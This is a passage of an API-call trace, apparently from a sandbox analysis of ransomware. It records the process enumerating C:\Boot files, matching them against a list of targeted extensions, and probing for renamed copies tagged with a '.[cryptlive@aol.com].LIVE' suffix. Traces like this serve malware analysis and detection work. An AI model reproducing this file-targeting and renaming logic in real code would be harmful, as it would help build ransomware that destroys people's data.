lpString2=".LIVE") returned -1 [0168.140] lstrlenW (lpString=".dpx") returned 4 [0168.140] lstrcmpiW (lpString1=".dpx", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".dqy") returned 4 [0168.140] lstrcmpiW (lpString1=".dqy", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".dsn") returned 4 [0168.140] lstrcmpiW (lpString1=".dsn", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".dt") returned 3 [0168.140] lstrcmpiW (lpString1=".dt", lpString2="IVE") returned -1 [0168.140] lstrlenW (lpString=".dtd") returned 4 [0168.140] lstrcmpiW (lpString1=".dtd", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".dwg") returned 4 [0168.140] lstrcmpiW (lpString1=".dwg", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".dwt") returned 4 [0168.140] lstrcmpiW (lpString1=".dwt", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".dx") returned 3 [0168.140] lstrcmpiW (lpString1=".dx", lpString2="IVE") returned -1 [0168.140] lstrlenW (lpString=".dxf") returned 4 [0168.140] lstrcmpiW (lpString1=".dxf", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".edml") returned 5 [0168.140] lstrcmpiW (lpString1=".edml", lpString2=".LIVE") returned -1 [0168.140] lstrlenW (lpString=".efd") returned 4 [0168.140] lstrcmpiW (lpString1=".efd", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".elf") returned 4 [0168.140] lstrcmpiW (lpString1=".elf", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".emf") returned 4 [0168.140] lstrcmpiW (lpString1=".emf", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".emz") returned 4 [0168.140] lstrcmpiW (lpString1=".emz", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".epf") returned 4 [0168.140] lstrcmpiW (lpString1=".epf", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".eps") returned 4 [0168.140] lstrcmpiW (lpString1=".eps", lpString2="LIVE") returned -1 [0168.140] lstrlenW (lpString=".epsf") returned 5 [0168.140] lstrcmpiW (lpString1=".epsf", lpString2=".LIVE") returned -1 [0168.140] lstrlenW (lpString=".epsp") returned 5 [0168.140] lstrcmpiW (lpString1=".epsp", lpString2=".LIVE") returned -1 [0168.140] lstrlenW (lpString=".erf") returned 4 [0168.141] lstrcmpiW (lpString1=".erf", lpString2="LIVE") returned -1 [0168.141] lstrlenW (lpString=".exr") returned 4 [0168.141] lstrcmpiW (lpString1=".exr", lpString2="LIVE") returned -1 [0168.141] lstrlenW (lpString=".f4v") returned 4 [0168.141] lstrcmpiW (lpString1=".f4v", lpString2="LIVE") returned -1 [0168.141] lstrlenW (lpString=".fido") returned 5 [0168.141] lstrcmpiW (lpString1=".fido", lpString2=".LIVE") returned -1 [0168.141] lstrlenW (lpString=".flm") returned 4 [0168.141] lstrcmpiW (lpString1=".flm", lpString2="LIVE") returned -1 [0168.141] lstrlenW (lpString=".flv") returned 4 [0168.141] lstrcmpiW (lpString1=".flv", lpString2="LIVE") returned -1 [0168.141] lstrlenW (lpString=".frm") returned 4 [0168.141] lstrcmpiW (lpString1=".frm", lpString2="LIVE") returned -1 [0168.145] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.145] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0168.145] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.145] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 Thread: id = 82 os_tid = 0x6c8 [0168.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b10668 [0168.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b20670 [0168.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de350 [0168.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de538 [0168.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de368 [0168.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x3be0020 [0168.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de380 [0168.158] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de380, Size=0x20) returned 0x5e3d18 [0168.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de380 [0168.158] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de380, Size=0x20) returned 0x5e3d40 [0168.158] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.159] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.159] Wow64DisableWow64FsRedirection (in: OldValue=0x316ff58 | out: OldValue=0x316ff58*=0x0) returned 1 [0168.159] lstrlenW (lpString="kernel32.dll") returned 12 [0168.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d18 | out: hHeap=0x570000) returned 1 [0168.159] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d40 | out: hHeap=0x570000) returned 1 [0168.159] Sleep (dwMilliseconds=0x64) [0168.297] lstrlenW (lpString="BCD") returned 3 [0168.297] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.298] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.298] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.298] lstrlenW (lpString=".doc") returned 4 [0168.298] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString=".docx") returned 5 [0168.298] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0168.298] lstrlenW (lpString=".pdf") returned 4 [0168.298] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString=".xls") returned 4 [0168.298] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString=".xlsx") returned 5 [0168.298] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0168.298] lstrlenW (lpString=".ppt") returned 4 [0168.298] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.298] lstrlenW (lpString=".zip") returned 4 [0168.298] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString=".rar") returned 4 [0168.298] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString=".bz2") returned 4 [0168.298] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString=".7z") returned 3 [0168.298] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0168.298] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.298] lstrlenW (lpString=".dbf") returned 4 [0168.298] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0168.298] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.298] lstrlenW (lpString=".1cd") returned 4 [0168.299] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.299] lstrlenW (lpString=".jpg") returned 4 [0168.299] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.299] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.299] lstrlenW (lpString=".doc") returned 4 [0168.299] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString=".docx") returned 5 [0168.299] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0168.299] lstrlenW (lpString=".pdf") returned 4 [0168.299] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString=".xls") returned 4 [0168.299] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString=".xlsx") returned 5 [0168.299] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0168.299] lstrlenW (lpString=".ppt") returned 4 [0168.299] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.299] lstrlenW (lpString=".zip") returned 4 [0168.299] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString=".rar") returned 4 [0168.299] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString=".bz2") returned 4 [0168.299] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0168.299] lstrlenW (lpString=".7z") returned 3 [0168.300] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0168.300] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.300] lstrlenW (lpString=".dbf") returned 4 [0168.300] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0168.300] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.300] lstrlenW (lpString=".1cd") returned 4 [0168.300] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0168.300] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0168.300] lstrlenW (lpString=".jpg") returned 4 [0168.300] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0168.300] lstrcmpiW (lpString1=".LOG1", lpString2=".LIVE") returned 1 [0168.300] lstrlenW (lpString="BCD.LOG1") returned 8 [0168.300] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0168.301] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=0) returned 1 [0168.301] CloseHandle (hObject=0x1c4) returned 1 [0168.301] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.301] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.301] lstrlenW (lpString=".doc") returned 4 [0168.301] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0168.301] lstrlenW (lpString=".docx") returned 5 [0168.301] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0168.301] lstrlenW (lpString=".pdf") returned 4 [0168.301] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0168.301] lstrlenW (lpString=".xls") returned 4 [0168.301] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0168.301] lstrlenW (lpString=".xlsx") returned 5 [0168.301] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0168.302] lstrlenW (lpString=".ppt") returned 4 [0168.302] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.302] lstrlenW (lpString=".zip") returned 4 [0168.302] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString=".rar") returned 4 [0168.302] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString=".bz2") returned 4 [0168.302] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString=".7z") returned 3 [0168.302] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0168.302] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.302] lstrlenW (lpString=".dbf") returned 4 [0168.302] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.302] lstrlenW (lpString=".1cd") returned 4 [0168.302] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.302] lstrlenW (lpString=".jpg") returned 4 [0168.302] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.302] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.302] lstrlenW (lpString=".doc") returned 4 [0168.302] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0168.302] lstrlenW (lpString=".docx") returned 5 [0168.302] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0168.302] lstrlenW (lpString=".pdf") returned 4 [0168.303] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString=".xls") returned 4 [0168.303] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString=".xlsx") returned 5 [0168.303] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0168.303] lstrlenW (lpString=".ppt") returned 4 [0168.303] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.303] lstrlenW (lpString=".zip") returned 4 [0168.303] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString=".rar") returned 4 [0168.303] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString=".bz2") returned 4 [0168.303] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString=".7z") returned 3 [0168.303] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0168.303] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.303] lstrlenW (lpString=".dbf") returned 4 [0168.303] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.303] lstrlenW (lpString=".1cd") returned 4 [0168.303] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0168.303] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0168.303] lstrlenW (lpString=".jpg") returned 4 [0168.303] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0168.304] lstrcmpiW (lpString1=".LOG2", lpString2=".LIVE") returned 1 [0168.304] lstrlenW (lpString="BCD.LOG2") returned 8 [0168.304] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0168.304] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=0) returned 1 [0168.304] CloseHandle (hObject=0x1c4) returned 1 [0168.305] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.305] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.305] lstrlenW (lpString=".doc") returned 4 [0168.305] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString=".docx") returned 5 [0168.305] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0168.305] lstrlenW (lpString=".pdf") returned 4 [0168.305] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString=".xls") returned 4 [0168.305] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString=".xlsx") returned 5 [0168.305] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0168.305] lstrlenW (lpString=".ppt") returned 4 [0168.305] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.305] lstrlenW (lpString=".zip") returned 4 [0168.305] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString=".rar") returned 4 [0168.305] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString=".bz2") returned 4 [0168.305] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString=".7z") returned 3 [0168.305] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0168.305] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.305] lstrlenW (lpString=".dbf") returned 4 [0168.305] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0168.305] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.305] lstrlenW (lpString=".1cd") returned 4 [0168.306] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.306] lstrlenW (lpString=".jpg") returned 4 [0168.306] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.306] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.306] lstrlenW (lpString=".doc") returned 4 [0168.306] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString=".docx") returned 5 [0168.306] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0168.306] lstrlenW (lpString=".pdf") returned 4 [0168.306] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString=".xls") returned 4 [0168.306] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString=".xlsx") returned 5 [0168.306] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0168.306] lstrlenW (lpString=".ppt") returned 4 [0168.306] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.306] lstrlenW (lpString=".zip") returned 4 [0168.306] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString=".rar") returned 4 [0168.306] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString=".bz2") returned 4 [0168.306] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0168.306] lstrlenW (lpString=".7z") returned 3 [0168.306] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0168.307] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.307] lstrlenW (lpString=".dbf") returned 4 [0168.307] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0168.307] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.307] lstrlenW (lpString=".1cd") returned 4 [0168.307] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0168.307] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0168.307] lstrlenW (lpString=".jpg") returned 4 [0168.307] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0168.307] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0168.307] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0168.307] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0168.308] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=89168) returned 1 [0168.308] CloseHandle (hObject=0x1c4) returned 1 [0168.308] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0168.308] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.308] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.308] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.308] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.308] lstrlenW (lpString=".doc") returned 4 [0168.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.308] lstrlenW (lpString=".docx") returned 5 [0168.308] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.309] lstrlenW (lpString=".pdf") returned 4 [0168.309] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.309] lstrlenW (lpString=".xls") returned 4 [0168.310] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.310] lstrlenW (lpString=".xlsx") returned 5 [0168.310] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.310] lstrlenW (lpString=".ppt") returned 4 [0168.310] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.310] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.310] lstrlenW (lpString=".zip") returned 4 [0168.310] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.310] lstrlenW (lpString=".rar") returned 4 [0168.310] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.310] lstrlenW (lpString=".bz2") returned 4 [0168.310] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.310] lstrlenW (lpString=".7z") returned 3 [0168.310] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.310] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.310] lstrlenW (lpString=".dbf") returned 4 [0168.310] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.310] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.310] lstrlenW (lpString=".1cd") returned 4 [0168.310] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.310] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.310] lstrlenW (lpString=".jpg") returned 4 [0168.310] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.310] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.310] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.310] lstrlenW (lpString=".doc") returned 4 [0168.310] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.310] lstrlenW (lpString=".docx") returned 5 [0168.311] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.311] lstrlenW (lpString=".pdf") returned 4 [0168.311] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.311] lstrlenW (lpString=".xls") returned 4 [0168.311] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.311] lstrlenW (lpString=".xlsx") returned 5 [0168.311] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.311] lstrlenW (lpString=".ppt") returned 4 [0168.311] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.311] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.311] lstrlenW (lpString=".zip") returned 4 [0168.311] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.311] lstrlenW (lpString=".rar") returned 4 [0168.311] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.311] lstrlenW (lpString=".bz2") returned 4 [0168.311] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.311] lstrlenW (lpString=".7z") returned 3 [0168.311] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.311] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.311] lstrlenW (lpString=".dbf") returned 4 [0168.311] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.311] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.311] lstrlenW (lpString=".1cd") returned 4 [0168.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.311] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0168.311] lstrlenW (lpString=".jpg") returned 4 [0168.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.312] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0168.312] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0168.312] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0168.312] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=87616) returned 1 [0168.312] CloseHandle (hObject=0x1c4) returned 1 [0168.312] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0168.313] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.313] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), 